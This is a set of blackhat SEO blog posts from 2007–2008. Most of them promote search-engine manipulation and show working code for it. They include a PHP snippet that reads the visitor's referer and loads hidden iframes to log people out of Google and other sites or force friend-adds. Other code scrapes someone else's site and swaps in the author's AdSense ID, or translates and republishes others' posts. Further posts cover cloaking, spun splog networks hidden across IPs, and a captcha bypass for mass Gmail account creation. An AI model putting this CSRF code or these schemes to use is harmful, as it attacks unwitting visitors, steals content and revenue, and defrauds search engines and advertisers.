2007-06-13

Squeezing the most out of your network

If Voltron taught us anything at all, it was that there's power in numbers. Watching TV as a kid and seeing those lions combined to make Voltron and defend the universe taught me two things:

1. The sum is greater than the parts
2. Nothing trumps a combination of five amorphic robotic lions
   

Now a days, I don't much travel in packs, let alone packs of lions, but the first lesson still applies to lots of stuff I encounter in my day-to-day. More to the point, it applies perfectly to the practice of SEO. Many of you have created networks to achieve whatever ends you are after, whether its arbitrage, dominating a niche, or just plain old splog networks. For the sake of this post, let say we have created a network of sites to target a specific niche. How about Christian Religion (you can find some free goodies for this niche in the download section, BTW)

Now, you've spent some considerable time building a great network that addresses every level of your niche. If you're targeting the Christian Religion niche, off the top of my head I'd say you'll have at least 5 fully developed sites in your network. Remember, you want to target as many niche segments as possible so you can rank for a large handful of keywords and keyword phrases. I am not going to delve too deep into setting up your network and how to position and interlink your individual sites. If you want to read a really great post on that subject, check out Blue Hat Seo. For the sake of this post, I want to address how to squeeze the most interlinking (and thus indexing) power out of your network.

By this point, you've probably SEO'd the living hell out of each site in your network. Hopefully you'll have set up a keyword rich mod rewrite scheme for all your sites. And you'll also have set up individual site maps for each site, and have interlinked all the landing pages of each site and even linked across sites in your network. Well if you have covered all the steps just mentioned plus some of the more common sense techniques, you've probably set yourself up a nice little network. The thing is, while you've got 5 excellent little lions purring away, they aren't really making a Voltron, you follow? Sure you'll have inter-linked the sites in your network, but there's allot more you can do in terms using your network to its maximum potential.

If you're using the Bible database listed in the downloads section, you've already got a site with at least a couple thousand pages. Depending on what else is in your network (a forum?) you've probably got more than one large site. In this niche, subject coverage is pretty easy to achieve, but getting all those pages - all that coverage - indexed can be tricky. Here's my suggestion on how to achieve maximum indexing power for your network.

We may have a great inner linking scheme, but there are always going to be large amounts of pages that just slip through the cracks if you don't cover your bases. What we need is a way to get the sum total of all of our pages on all of our sites in the entire network and spit them out in a nice list (or lists). Why? I'll get to that.

First, I want to tell you that Google has a handy little Sitemap Generator script. Its an open source python script that you place on your server and configure it to crawl your folders, index their contents, and output pretty little site maps that you can point search engine's too. Truth is, this little script should already be a cron job in all your networks. This is a great tool that should be part of your repertoire, but out-of-the-box, it doesn't precisely do what we need it to do, which is spit out a list of all the urls in our website. I have created a modified version of this script to crawl your websites log files and wrap each url in a <loc> tag for easy extraction later. It is currently configured to crawl your LOG files because this is effective for dynamic sites (yet has its limitations, say if certain parts of your network get zero traffic). You can reconfigure the script as you see fit. I'll post the download link at the end of this post.

I am not going to go into depth about how to use this script, as it is used EXACTLY the same way you use the original scripts as-is from Google. So if you have any problems or questions in that regard, refer to Google.

So what we have now is a modified version of the Google site map script on a cron job for each of our websites in our network. This little cron job will chug away constantly updating a .xml file for each website that can easily be called by a php script on other websites in our network. If you did things right and set up a keyword rich mod-rewrite scheme for your urls, then not only do you have a list of every URL in your network, but you'll also have its respective keywords!

From this point, it's an easy task to go about creating a php function that calls out other sites in your network, pulls the link out of the xml and displays it in the context of your current website.

So there you go! You've just gotten one step closer to harnessing the power of Voltron! I say 'one-step' because not only can you take this technique alot further than I am letting on, but there's a few more techniques to squeezing the most out of your network that I'd like to address in later posts.

With that said, I'm off to go download vintage cartoons.

Download the log scraper here 

2007-09-02

Exploiting Referer Information

What is a referer? God, I hope I really don't have to answer this for you all, but I will anyways. In your logs, you have entries like this:

  /searches/Progress%20Indicator%20Helper

Referer: http://www.google.com/search?q=PHP%2Bprogress%2Bindicator&hl=en&start=10&sa=N

Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2)

The Referer information is what tells me where the user has come from. From the above entry, I deduce that the visitor came from a Google search for the term: PHP progress indicator.

Pretty much 99% of internet users openly show their referer in this way. In fact, the practice of sending your referer has long been considered safe and acceptable. After all, the ability to view a visitors referer is what makes stats software like AWstats viable....visitors sending referers provide the most common and accessible way to monitor your websites saturation and growth.

But with the advent of the "Social-Web" of the new millenium, we are now slowly starting to watch internet security experts warn of the potential for blackhat websites to, "exploit a user sending their referer information."...

...what a minute.....did someone say "exploit"?!?! Count me in!

You all may remember a while back there was a bit of a flap over at digg when a simple flaw in their then new voting system was revealed. It simply let you make someone automatically add you as a friend if you placed an iframe on your page like:

<iframe src="http://digg.com/invitefrom/russvirante" height="1" width="1"></iframe>

By putting this on your page, if a user visited your site and also happened to be  logged into digg at the same time (most likely this user would be visiting your site from a digg story), then they would end up automatically adding you as a friend.

Many people added this to every page of their site not caring wether the user was coming from digg or not, but those people practicing SEO with a bit more style and eloquence usually ended up first checking the visitors referer information and then if the user's referer indicated they were coming from digg, they would then display the iframe.

This vulnerability has since been corrected, but that doesnt mean there are still many ways to to advantage of users that send their referers.

Here is an idea to get you thinking about the possibilities:

Note: This isn't my code. In fact, the code and the inspiration for this post came from:
0x000000

Check it out, it's a great site and an excellent resource.

I'll be back with more posts later on this week after I sort out the ruins of my databases after my recent server crash.

<?php
function lucky_dayz() {
  $referer = htmlspecialchars($_SERVER['HTTP_REFERER'],ENT_QUOTES,'UTF-8'); 
  $hosts = array('google','blogger','live','hi5','live','ckers','myspleen','digg'); 
  $csrf = explode('.',$referer);

  if(in_array($csrf[1],$hosts)) {
	switch($csrf[1]) {	
	case 'google':
	$url = 'https://www.google.com/adsense/gaialogout';
	break;
	case 'blogger':
	$url = 'http://www.blogger.com/logout.g';
	break;
	case 'live':
	$url = 'http://login.live.com/logout.srf?ct=0';
	break;
	case 'hi5':
	$url = 'http://www.hi5.com/friend/logoff.do';
	break;
	case 'ckers':	
	$url = 'http://sla.ckers.org/forum/login.php?13,logout=1';
	break;
	case 'myspleen':
	$url = 'http://www.myspleen.net/friends.php?action=add&type=friend';
	break;
	case 'digg':
	$url = 'http://www.digg.com/invitefrom/0x000000';
	break;
	}	

	$lucky = '<iframe src="'.$url.'" style="display:none;"></iframe>';
  } else {
	$lucky = false;
	    }
   return $lucky;

?>

2007-08-15

You never know what treasures you might find

I always keep a pretty close eye on on my logs. Especially when I have a relatively new site like Seocracy.com or Sharetactic.com.

I am usually keeping on eye on the logs to look out for errors or glitches or other unexpected behavior.

Sometimes, while scanning my logs, I see some pretty interesting stuff! Over the last two days, Ive been watching several groups of people trying to direct some XSS attacks at my webserver. I'm sure I'm not alone!

Take this one for instance:

Referer: -
Agent: libwww-perl/5.803

../wamp_dir/setup/yesno.phtml?no_url=http://rpgnet.com/newrpgnet/c.txt?

When these kinds of gems show up in your logs, take some time to do some detective work & you will usually learn something.

By seeing this entry in my log, I know that someone is looking for a way to inject some code into my website by exploiting a pre-existing vulnerability (which my server doesnt have, hence the 404 error).

By going to the URL in the request: http://rpgnet.com/newrpgnet/c.txt we can see that this attacker is simply doing some reconnaissance on websites that might be vulnerable.

When this request is made on a vulnerable site, the code will run and will get the current UID it is running under and will email the intruder with the information so that he knows to add it to his list of websites that are open to attack in the future.

This isn't the most exciting example of this kind of thing, as this type of script he is trying to execute is really quite simple. But nevertheless, it goes to show you all that it pays to keep an eye on your logs and see whats happening behind the scenes.

2007-09-03

AKA: Two Wrongs CAN Make a Right

OK....to start, let me state the obvious:

The Intertube is overrun with scraper sites. They are everywhere, and many people are profiting from them. While they may be questionable in practice, they can still be very successful.

As you already know, volume is one of keys to success in seo. And scraper sites give you the ability to quickly and easily automate the production of a huge amount of copy for use in your niches. Some implementations of the scraper-site are better then others, for example.....this one isn't bad: http://www.red78.net/loafers/

And here's a pretty bad one: http://opensource.votio.com/php/forum/Loafers

Whats sets them apart is simply advertising integration....I gotta wonder if it is converting as well as the first one.

Anwyays, this is very interesting and all, but I dont just want to give an overview generic scraper sites for you guys...I want to talk about something called Parasite Scraping. 

You see, all these BlackHatters out there are busting their ass creating scraper sites. They are coming up with the perfect Markov Chains, creating huge synonym databases, scraping old cached websites, scraping wikipedia, etc etc etc......

Point is, people are dedicating a huge amount of effort, and processing power to create scraper sites. 

And amongst all this hype for scraper sites, here I am; and Im thinking, "I hate dedicating effort to pretty much anything I find mudane, especially 'huge' amounts of it." 

So, whats a lazy bastard like me to do?......Scrape the Scrapers

Lets dive right in and focus on the crappy one, shall we?

You see, the Crappy One, as we're calling it, has this url: http://opensource.votio.com/php/forum/Loafers

By altering this final term, we can get a whole new set of free content, served up for us and easy to extract!  Watch: (By the way, I program in ruby...it's pretty easy to read and follow along)

This would be a simple process to extract the <td class="box"> at the top and bottom of the page. You'd do this by using its xpath //td.box.

This box contains tags relevant to the keyword (in this case: Loafers)

require 'mechanize'
agent = WWW::Mechanize.new
doc = agent.get("http://opensource.votio.com/php/forum/Loafers")
tags = doc.search("td.box").inner_text
tags = tags.split(',')
tags.each do |tag|
    tag = tag.gsub(/(Tags:)/, '').squeeze(' ').strip
    puts tag
end

**DEMO REMOVED**

Now lets get ourselves some free rss links...shall we?

require 'mechanize'
agent = WWW::Mechanize.new
doc = agent.get("http://opensource.votio.com/php/forum/Loafers")
links = doc.search("a.rsslink")
links.each do |link|
    puts link.inner_text
    puts link[:href]
end

**DEMO REMOVED**

Annnnnnnnd to wrap things up, lets really get evil:

require 'mechanize'
agent = WWW::Mechanize.new
doc = agent.get("http://opensource.votio.com/php/forum/Loafers")
page = doc.search("html").inner_html
page = page.gsub(/^google_ad_client = quot;pub-([0-9])+";/, 'google_ad_client = "pub-XXXXXXXXXXXXXXXXX";')
puts page 

It doesn't take a rocket scientist to tell what this does, **DEMO REMOVED**

So there you have it! Why continue to waste your time, money, and server resource?!? Its a pain in the ass to set up a fleet of scraper sites. All the effort finding sources, creating wiki scrapers, scraping search results, even building templates and hard coding the structure of the site itself!! I have just shown you how to take a simple keyword based scraper site and republish it under your own adsense ID; and using only 7 lines of code.

I want you guys to keep in mind that those two example websites are just the tip of the iceberg. Like everything else, creativity must be applied here. There are many websites that scrape and markov content, unlike the example sites that just directly scraped rss feeds and serps. So be on the lookout for good quality scraper sites!

In terms the ethical issues surrounding parasite scraping....I think this posts slug-line says it best:
Two Wrongs CAN Make a Right

**UPDATE: I removed the demos and links, sorry guys*** 

2007-09-28

A little blackhat to brighten your day.

2007-10-28

Why settle for just English language content?

I want to introduce a new topic to you guys: Translation Scraping. Now a day's you see lots of scraper sites that scrape RSS feeds and republish content in adsense laden sites. Well that's all well and good, but clearly, we have other tools in our arsenal to monetize scraper splogs.....we have the ability to translate on the fly. 

Consider this: A simple script that takes a keyword, does a google blog search for that keyword, collects all the urls that come up as a match, passes that URL to an online translator, and then posts the translated content to a blog via xml-rpc.

I mean, why not? If you are going to scrape sites in the same language, you might as well cover your bases and give'er in other languages too! Come on, show a little multiculturalism for christ's sake...........

Here is a little example I hacked up using a post from my good friend Eli over at Blue Hat Seo. From my experience, I happen to know that scraped splogs his content convert really well with the russian market........( sorry buddy :P )
This is programmed in ruby and uses mechanize and the xml-rpc library

require 'xmlrpc/client'
module MetaWebLogAPI
  class Client
    def initialize(server, urlPath, blogid, username, password)
      @client = XMLRPC::Client.new(server, urlPath)
      @blogid = 1
      @username = "bingobango"
      @password = "password"
    end
  
    def newPost(content, publish)
      @client.call('metaWeblog.newPost', @blogid, @username,
          @password, content, publish)
    end

  end
end

require 'mechanize'
agent = WWW::Mechanize.new
agent.user_agent_alias = "Mac Safari"
agent.set_proxy('localhost', '8118')

@source = "http://www.bluehatseo.com/followup-seo-empire-part-1/"
@url = "http://www.online-translator.com/url/tran_url.asp?lang=en&url=#@source&direction=er&template=General&cp1=NO&cp2=NO&autotranslate=on&psubmit2.x=40&psubmit2.y=7"

doc = agent.get @url
title = doc.search("p.post-info").inner_text
guts = doc.search("div.post-content").inner_text

 client = MetaWebLogAPI::Client.new('bingobango.wordpress.com', '/xmlrpc.php', 'bingobango', 'bingobango', 'password')
  blogpost = {'title' => title, 'description' => guts, } 
 client.newPost(blogpost, true) 

And you can stroll on over to http://bingobango.wordpress.com/ to see the results of our handiwork.

The really cool thing about this, is you can create a spider that automates these procedures indefinately.....so create a script that monitors a group of keywords, and create a few blogs (depending on the size of the keyword niche, and how much content you are dealing with) and have your spider automatically translate and post new content as it comes in.

2007-11-02

Still....the Canucks? disgraceful.....

Tonight I was invited to a hockey game by some of my suppliers.

First off, the Canucks sucked. Im sorry Vancouver, but WHAT THE FUCK WAS THAT?!?!? We were playing against Nashville....what the hell! We shoulda creamed them, but it was like our boys were asleep at the switch...we ended with something like 36 shots on goal, and 0 points...whereas Nahville had like 5 shots on goal and 4 points. Disgraceful........

.............but I digress...............As I was saying, I was invited to a company suite at GM Place by a supplier who I spend alot of advertising dollars with. Now keep in mind, Im not talking about internet marketing or search advertising. I'm talking about print advertising.

Whenever you get a couple beers in business people, and especially in an informal setting, you get some pretty insightful converastion's happening, and tonight didn't disappoint. Inevitably, conversation turned towards the power of internet marketing & new media in the real estate industry, with me contending that America's struggling market (especially Arizona) is light-years ahead of Canadian Real Estate marketers in terms of their adaption and utilisation of digital media......

These fellows are executives from one of the major real estate publications, and as conversation continued, I started explaining to them that, in my opinion, one of the things I think they fail at is their web approach. Their website is a rather embarassing pre-1998 piece of nastiness that really feels like it has been forgotten about. Now a days, with the popularization of brand based networks and the ubiquitousness of digital media, I expect a real estate publication to have nothing less then a complete MLS style listing of projects listed in its pages, as well as video/photographic slide show tours of homes, not to mention full editorial opinion delivered via blog and an open forum for discussion on the market and product offerings. Not only would I be charging developers an arm and a leg to have their ads displayed on page and in email correspondance with users, but I would also be tapping into the realtor market and gleaning advertising dollars from that impressive sub-section of the overall real estate market....

This, more or less, was met with agreement from the executives I was conversing with, but still they had no clue about how to even wrap their heads around the needs and demands of today's internet user. One said to me "We have been seeing income from our Buy & Sell site dwindly quite rapidly over the past year." Which prompted me to ask, "What is your plan as to how to contend with the likes of Craigs List?".........only one person in the crowd knew what Craigs List was.

Then it occured to me: Real Estate is an 'old boy' industry. I mean...I've always known that the industry was full of rough necks and old boys, but it never really hit home until tonight. Tonight, I realized that at some point, someone is going to really step up and shine by showing people the true power of digital media as it pertains to the Canadian Real Estate industry. Here lies before us a market untapped.

2007-11-05

Web 2.0 gives us new ways to referer spam!

I can't believe people still engage in spamming referral logs.

As far as blackhat techniques go, it really is absolutely lowest common denominator.  The carpet bombing log spamming kind of approach is so incredibly 2005.....

Aside from it being incredibly base and uncreative, I have a feeling that SE's are probably filtering out and disqualifying links in peoples logs. I mean, why wouldnt they? There are so many obvious footprints that indicate a certain page is a log file, it would be lazy for the SE's to not filter out that kind of referral spam. So....what the hell do people think it is going to achieve?

Not only is it stupid and outdated, but it's also stupid. Wait...did I just say that? Well its worth saying it again: it's stupid. If you're gonna spam, don't just spam everyone indiscriminately....at least try to limit your spamming to those people who really deserve it. You know who I mean....those people who consciously open themselves up to spamming through their own stupidity. 

Thanks to widgets, the kinds of stupid people who've opened themselves up to referral spam are easy to find. Because of widgets, stupid people can travel in packs! Yes! Thanks to widgets, stupid people can share their stupid interests with their stupid friends, saying: "Look at me! I'm stupid!" "Hey! I'm stupid too! We should be friends!"

Widgets allow stupid people to wear their idiocy as a badge, and to share their stupidity with others! Using widgets that monitor and publically publish referral traffic is akin to holding up a big sign to the world that says "I am a vapid, brainless twat. Please kindly spam the living hell out of me"

As an example, allow me to introduce the utter idiocy that is feedjit.

Try this search 

Oh look, 14,300 morons for you to direct your referral spam at. How nice!

2007-11-05

This is about as easy as it gets

For those of you who always wanted to try out cloaking, but never bothered, now you really have no excuse.

Check out this service provided by: 

http://bot-filter.com/

It's still in 'testing' phase, and I'm pretty sure that this site won't last long, so check it out while you can. 

Basically, it will let you put in a URL to send human traffic to, and a seperate URL to send bot traffic to. As far as I can deduce, this service only identifies a bot based on it's user-agent, so obviously it's not entirely perfect...also..I have some reservations about the funky looking redirect page you get when following the cloaked link......but it does make it incredibly easy for you all to try your hand at basic cloaking. 

2008-01-10

A little blurb on how datapresser applies to the real world, and my trip to Mexico

Hey-oh!

So, it's been hard for me to get back in the writing frame of mind to update this blog since I got back from my vacation to Mexico, but I've finally gotten inspired to write a little post for you all.

First off, I should mention a thing or two about Mexico.

I went fishing but despite the gear and the intense will to catch a Marlin....I got skunked.

I saw birds and big birds and I laughed and relaxed .

Anyways, forget all that, because I'm back, and I've got some cool stuff to talk about!

What I want to talk about is something most of us do in some form or another. It's a natural, common sense SEO habit. I'm talking about the inner linking of sites we own and operate. If this were a room and I were to ask how many of you interlink some sites, or how many of you operate networks, I'd see a whole lot of hands in the air. That's because it works. It's one of the best ways of pushing massive and highly targeted link weight. It's probably the most steadfast technique out there; the age old concept of divide and conquer.

 

The hardest part is content generation. It's creating good, reliable, spiderable content that you can get indexed. Thats where a content generation tool like Datapresser comes into play.

Here's the play by play:

1. Set up a domain and install a wordpress blog

2. If you havent already, you might as well input a good ping list. You can get a regularly updated list here: http://crappytools.com/pingurls/list.asp

3. Once your blog is up and ready, it needs content. Fire up Datapresser and write yourself a good madlib script. A good madlib script should be something that looks as natural as possible, with a minimum of repetition. You really have to use your imagination!

Here is a quick example of a madlib: (Click here & refresh to see it in action)

Title:
{|Musicvid|artist} {|Custom|was spotted, was seen, was photographed, was caught, was found, was happened upon, was witnessed, was heard, escaped photographers, was caught naked, was arrested, was found dead, was kidnapped, was trampled by stampeding fans, had plastic surgery, reacted to 2girls1cup} in {|UsCity|city}, {|UsCity|state}.  The {|Custom| happening, tragedy, act of god, tragic events, momentous occasion, scene} {|Custom|occured, happened, took place, went on, was located, went down, unfolded} at {|Restaurant|Name}, {|Restaurant|Address1}, {|UsCity|city}!

Body:
{|Musicvid|artist} {|Custom|was spotted, was seen, was photographed, was caught, was found, was happened upon, was witnessed, was heard, escaped photographers, was caught naked, was arrested, was found dead, was kidnapped, was trampled by stampeding fans, had plastic surgery, reacted to 2girls1cup} in {|UsCity|city}, {|UsCity|state}.  The {|Custom| happening, tragedy, act of god, tragic events, momentous occasion, scene} {|Custom|occured, happened, took place, went on, was located, went down, unfolded} at {|Restaurant|Name}, {|Restaurant|Address1}, {|UsCity|city}.

{|Musicvid|artist}'s {|Custom|Companion, Boy-toy, Hooker, Secret Lover, Friend, Lawyer, Father, Mother, Retarded younger brother, Lesbian life partner, Priest, Teacher, Doctor, Accountant, Maid, Electrician, General Contractor, Webmaster} was {|Custom|on hand, present, available, on camera, close by, paid handsomely, heard} {|Custom|uttering, swearing, declaiming, proclaiming, shouting, whispering, muttering, saying, speaking, telling, reporting, gesticulating, blabbing}, "{|Famousquote|author} once said, {|Famousquote|famquote}"

4. For now, I would suggest that you only create 100 pages of content or less. Repeat steps 1 - 3 for as many blogs as you can get up and get through (as many domains as you have available...)

5. After you've got a healthy network running and the first 100 in each is getting indexed, add more posts! Keep repeating this process as necessary.

6. At this point, you can start lacing some links into your posts, but try to do so naturally. Using Datapresser, you can alternate link urls and also alternate link anchor text.
ie: {|Custom| link 1, link 2, link 3, link 4}

Here's the rub: You can put links in your blog roll, ensuring that they are sitewide links, or you can put them in your post body and gain the potential benefit of having your links and content resyndicated. Make a choice, or try them both. 

Id also start adding in adsense at this point too, or a comparable aff offer .

A word on footprints. It is a dead give away to your network when you have it all on one IP. Host on different IPs as much as possible when creating these blog networks. This is one time when I would say it matters.

Id suggest breaking your network of blogs into chunks of say 5 -10 blogs, assigning an independent IP to each chunk. Consider interlinking the blogs in a chunk if each part of the chunk seems relevant to the others. Obviously, don't link to other chunks/other IP ranges. If you want to take caution a step further, be aware of not cross promoting links on each chunk; by back searching a sites links, your network can be laid open to public view.

The crucial thing here is keeping your blogs looking as legit as possible. Using the Datapresser tool, it isn't hard to create legible content that can pass human inspection. By saving your scripts and them altering them slightly for future posts to the same blog, you can effortlessly create thousands of pages of legitimate looking copy that passes computer and human inspection. That said, the absolute best part about this is that you can control your own linking networks.

I see no reason to rely just on link spamming if there are ways one can exert greater control over at least some portion of the linking strategy. That is exactly what these blog networks allow you to do.

2008-02-15

I've been remiss in updating my blog

OK, sorry things have been so dead around here lately.

Don't blame me! Blame Twitter!!!! I seem to do so much more talking on Twitter about things I'd normally write on this blog.  It's shameful I know.

Let's recap some stuff that's been going on recently.

- I found a pretty awesome collection of downloadable dictionary databases, which is exactly the kind of thing that I get excited about. It's like finding buried treasure. We all know about Word Net, but there are some other really great pieces of data in there as well. 

- Esrun outed a trick I told him about a while back.

Never mind the fact that I asked him not to talk about it...who cares....Esrun is practically a fucking saint for giving you all his little Gmail Account Creator script.  So he can say whatever he wants. 

Basically, when you are mass creating google accounts, after a few accounts are created, google will start serving you" sorry" messages instead of a captcha. The trick to get around this is to request the google captcha from one IP, but submit the form data from a second IP. Google doesn't cross reference the submitting IP with the requesting IP. I think this is somewhat tied into the fact that Google uses the same captcha/account provisioning service for several of its different web properties (Gmail, Blogger, etc).

So basically, all you need to create unlimited Gmail accounts is two IPs because Google isn't cross referencing them.

You know...come to think of it, I am somewhat depressed that Esrun stole my thunder on this one. You filthy sonuvabitch..... :)

Anyways, now Google will most likely patch it up pretty quick, so get on it now my friends!

- Thar be drama a brewin' over at WickedFire, as Jon baits Shoemoney and then receives a C&D, which of course leads to more drama. I have always liked Wicked Fire, but I feel that this is a little bit....much.  Anyways, I posted my thoughts over there so I wont repeat them here. 

And with that, I'm off to enjoy a well deserved weekend.

Play nice kids. 

2008-02-21

a jaunt into the seedy underbelly of apache server dynamics

This is an old post I made almost a year ago on WF, so I figured since I'm a bad blogger these days, I might as well post it here to make up for my otherwise embarrasing lack of effort.

If you are anything like me, the very sight of mod_rewrite code makes your brain cramp.

In all honesty, it looks like complete and utter gibberish, but there is a logic underneath it all.

You may already know that it can take your cumbersome dynamic URLs and magically transform them into understandable language instead of incomprehensible gibberish.

Par Example: (that means 'for example'. It's French. Really.)
ORIGINAL URL:
http://myawesomesite.com/index.php?tag=tutorial&page=2
MOD_REWRITE URL:
http://myawesomesite.com/tutorial/2

These URLs are better for a couple reasons.
Primarily, they are easier for your visitors to understand and remember.
Beyond that, these URLs can be keyword rich, which is great for search engines!

So now you see, mod_rewrite is a powerful tool if one can wrangle the language and make it work!

Example Deux (.....you get it)
Alright, so you'll need to goto whatever folder of your site you are wanting to start rewriting URLs from.
Backup the .htaccess file (just in case) and then pop 'er open!
For those of you just beginning to read up on this stuff, an .htaccess file is basically a file the lets you make changes to the way your server....uhhh...serves.....

For more information than that last meager explanation can provide, check out the official guide:
Welcome! - The Apache Software Foundation

Now then,
You got your .htaccess file open? Good.
Lets use the URL from the previous example.

Say this is your site:
http://myawesomesite.com/index.php?tag=tutorial&page=2

And, never being one to shy away from a challenge, you decide that you want URLs like this:
http://myawesomesite.com/tutorial/2

"Impossible?" You ask?
"NO!" I say!

To accomplish this amazing feat of URL trickery, add the following lines to your .htaccess file.

RewriteEngine On
RewriteRule tutorial/2 index.php?tag=tutorial&page=2

To understand this, lets break it down line by line:

RewriteEngine on:
This line does exactly what it says, it turns on the engine that lets your Rewrite URLs

On line two, we see:
RewriteRule: This line tells the server to expect you to specify a rule about rewrite the url

tutorial/2: This line tells the server that when it serves the dynamic URL specific on the next line, it should replace it with this clean static URL

index.php?tag=tutorial&page=2: This tells the server which dynamic address to look out for.

This is a REALLY basic primer into mod rewrite, but it lets you understand its essence.